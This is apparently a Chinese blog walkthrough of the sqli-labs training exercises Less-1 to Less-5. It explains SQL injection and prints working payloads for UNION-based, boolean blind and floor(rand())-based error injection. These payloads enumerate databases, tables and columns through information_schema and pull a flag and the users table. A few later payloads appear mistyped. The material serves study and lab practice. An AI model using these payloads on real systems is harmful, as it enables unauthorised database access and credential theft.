sql-labs

p1

sql注入的目的是为了破坏sql语句结构,有三种参数类型,字符型(就是一个字符1或者a之类的),字符串("hellow之类的")型,数值型,前两个有闭合,注释符号有# --(空格) --+

(空格)转换为20%#转换为23%

有回显,说明参数是字符型单引号闭合,尝试爆字段

当输入order by 4的时候报错,说明存在3列,而且就然能报错说明将语句解析执行了,说明存在注入点(order by是对列进行排序的意思)

联合查询,前面报错后面插入恶意语句,得到回显位2,3 (显示数据库查询结果)

补充:联合查询的列数,必须与原始查询的列数一致,所以有了占位符一说

输出2的名字和3,其中1,3是占位符,

最后用联合注入

复制代码
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat:一次性提取多行数据时用","将他们连接起来

schema:包含所有数据库的列表以及有关这些数据库的信息。

information_schema是一个系统数据库,存储了所有数据库、表、列等元数据信息。在这里用于提取数据库名

information_schema.schemata查询这个表可以获取所有数据库的名称

在ctftraining中查找flag ,

复制代码
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables  where table_schema='ctftraining' --+

再查询column名

复制代码
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+

最后输入

复制代码
http://[靶机IP]/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(flag) from ctftraining.flag --+

cat flag

p2

判断参数类型为数值型,报错存在注入点

一直order by到4才报错,所以有三个字段回显位

暴库名

爆表名

爆列名

爆flag

p3

我以为还是数值型

但是1=2也对

联合注入查看报错信息') 闭合

回显位2,3

爆库名

爆表名

爆列名

爆flag

p4

也是前期咋个试都对

")报错了,存在注入点

回显位

爆库名

爆表名

得到flag

p5

我去,看的wp布尔盲注强行爆破,太麻烦了,又去找发现了updatexml报错注入

无回显

报错,单引号闭合,

看别人wp有两种方法,一个布尔盲注很麻烦,不过趁机详细学学,另一个是updatexml报错注入

方法一(布尔盲注)

主要学知识点,操作一部分,不完全操作,太麻烦了

一、盲注思路:

  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

简单来说按照层次轮流爆:数量,长度,名

二、盲注原理

将?id=1与and并列进行注入

1.常用函数

(1)substr(str,from,length):(字符串,截取位,截取长度)这里要注意没有0位从1位开始

(2)length(str):返回str长度

(3)ascii(char): 返回字符的ASCII码。

(4)count(): 返回当前列的数量。

(5)case when (条件) then 代码1 else 代码2 end: 条件成立则执行代码1,否则执行代码2

2.盲注步骤(穷举,盲猜)

爆破库名长度,ba

复制代码
?id=1 and length(database())=1

爆到其他的是图一,爆到8是图二,说明库名长度为8

爆破库名

第一个字母s

第二个是e

逐个尝试是security

我不知道为什么下面这个payload爆不了字段,都显示正确

复制代码
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28--+

判断所有表名字段长度为29注意","会被记入总长度

复制代码
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)='m'--+

当试到e时成功,m时成功...........

最后爆出来是emails,referers,uagents,users

在接着爆列的长度

列长度为20

复制代码
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

爆这个错

复制代码
?id=1'and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)='a'--+

到 i 的时候成功.......省略n多步骤最后爆出来id,username,password

有110个字符

布尔盲注自己注去吧能注出来

方法二(报错注入)

我一下子看到了好几种报错注入,逐个学习了解一下

双查询注入报错原理:

1.先来了解子查询:子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询eg:select concat((select database()));执行语句时,先从子查询进行, 先执行select database()再把结果传入到concat函数

2.常用函数:

(1)rand:随机生成0~1之间的小数

(2)floor:向下取整,将rand取为0或者1触发报错

(3)concat:将多个字符连成一个字符串

(4)group by:按照指定结果分组,结合floor(rand()*2)触发报错,嗯......具体例子不好展示,大概就是:

(5)count:统计行数,用于group by 分组统计,触发报错

(6)limit:限制返回的行数

3.场景复现

创建数据库;

使用该数据库;

创建表;

插入数据并查询;

好吧,插入了好几次终于报错了

就可以得到数据库信息

还是想写一下大致逻辑:

扫描第一行:假设一开始floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,则插入1,并count1;

扫面第二行:floor(rand()*2)的结果为1,直接count+1

扫描第三行:floor(rand()*2)的结果为0,准备插入前再次扫面floor(rand()*2)的结果为1,想要插入,但是已经有1了就会报错,由此得到有用信息

关于报错注入的原理和底层逻辑sql注入--双查询报错注入原理探索_报错注入查询多个数据库-CSDN博客

这篇文章写的非常通俗易懂,而且非常清晰,牛牛牛,这里就不一一赘述了,下面是查询语句

复制代码
mysql> SELECT count(*),concat((SELECT database()),"~",floor(rand()*2))as a FROM test GROUP BY a;

然后构造payload注入

复制代码
?id=-1'%20 union select 1, count(*),concat((select database()),"~",floor (rand()*2)) as a from information_schema.tables group by a--+

这里要注意一个问题,联合查询的列要和本身列数相同, 所以是union select 1, count(*),concat..........
爆表名, 但是这个爆表名为什莫这里还是concat((select database())?

复制代码
?id=-1' union select count(),count(), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

爆列名

复制代码
?id=1' union select 1, count(), concat((select username from users limit 0,1), '---', floor(rand(0)2)) as a from information_schema.tables group by a --+
相关推荐
宋发元10 分钟前
Redis 内存淘汰策略
数据库·redis
猿小喵22 分钟前
服务器相关的硬件知识
运维·服务器·数据库
Marzlam1 小时前
Sql Server 索引性能优化 分析以及分表
数据库·性能优化
明月看潮生1 小时前
青少年编程与数学 02-011 MySQL数据库应用 10课题、记录的操作
数据库·mysql·青少年编程·编程与数学
Gauss松鼠会1 小时前
GaussDB构建高性能Schema:分布式数据库架构设计与实战
数据库·分布式·sql·数据库架构·gaussdb
小王努力学编程2 小时前
【MySQL篇】索引特性
开发语言·数据库·学习·mysql
手握风云-2 小时前
MySQL数据库精研之旅第二期:库操作的深度探索
数据库
患得患失9492 小时前
【后端】【Django】【ORM】SearchFilter 详解
数据库·django·sqlite
m0_748251522 小时前
【MySQL】深度学习数据库开发技术:使用CC++语言访问数据库
数据库·mysql·数据库开发
weixin_307779133 小时前
稳定运行的以Neo4j图数据库为数据源和目标的ETL性能变差时提高性能方法和步骤
数据库·性能优化·neo4j·etl